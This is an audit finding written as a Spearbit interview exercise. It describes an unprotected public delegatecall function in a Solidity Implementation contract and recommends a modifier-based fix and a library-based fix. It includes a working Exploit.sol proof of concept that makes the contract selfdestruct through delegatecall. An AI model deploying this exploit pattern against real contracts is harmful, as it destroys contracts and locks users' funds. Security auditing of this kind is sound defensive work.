# Spearbit interview task ## Unprotected, public and generic `delegatecal` can lead to Denial Of Service **Severity**: High Context: [`Implementation.sol#L17-L22`](https://github.com/spearbit-audits/writing-exercise/blob/develop/contracts/Implementation.sol#L17-L22) Anyone can directly call public `delegatecallContract()` function in `Implementation` contract (without a proxy). This function is generic (accepts any address and any payload), thus Implementation contract is vulnerable to `selfdestruct()` and stealing of existing funds. Proof of concept: 1. Attacker deploys `Exploit.sol` with a `sefldestruct()` feature. 2. Attacker/Exploit calls `Implementation.delegatecallContract()`. 3. Implementation delegatecalls back into `Exploit` contract triggering `selfdestruct()`. 4. Denial Of Service for all users. Funds unrecoverable ```solidity // Exploit.sol // SPDX-License-Identifier: MIT pragma solidity 0.8.10; interface IImplementation { function delegatecallContract(address a, bytes calldata _calldata) payable external returns (bytes memory); } contract Exploit { address immutable owner; constructor() { owner = msg.sender; } function attack(address victim_address) public { bytes memory _calldata = abi.encodeWithSignature("kill_caller()"); IImplementation(victim_address).delegatecallContract(address(this), _calldata); } function kill_caller() public { selfdestruct(payable(owner)); } } ``` **Recommendation**: The solution is to disable regular calls and support only delegatecalls to the `Implementation` contract. My initial solution proposal was the following: Implementation can be guarded against regular calls with a simple modifier. The code would look like this: ```solidity pragma solidity 0.8.10; contract Implementation { address immutable implementation_address; modifier only_delegatecall() { require(address(this) != implementation_address, "Only delegatecall is accepted"); _; } constructor() { implementation_address = address(this); } function callContract(address a, bytes calldata _calldata) payable external only_delegatecall returns (bytes memory) { (bool success , bytes memory ret) = a.call{value: msg.value}(_calldata); require(success); return ret; } function delegatecallContract(address a, bytes calldata _calldata) payable external only_delegatecall returns (bytes memory) { (bool success, bytes memory ret) = a.delegatecall(_calldata); require(success); return ret; } } ``` But turns out this is what a library feature provides. And so it can be translated to: ```solidity pragma solidity 0.8.10; library Implementation { function callContract(address a, bytes calldata _calldata) external returns (bytes memory) { (bool success , bytes memory ret) = a.call{value: msg.value}(_calldata); require(success); return ret; } function delegatecallContract(address a, bytes calldata _calldata) external returns (bytes memory) { (bool success, bytes memory ret) = a.delegatecall(_calldata); require(success); return ret; } } ```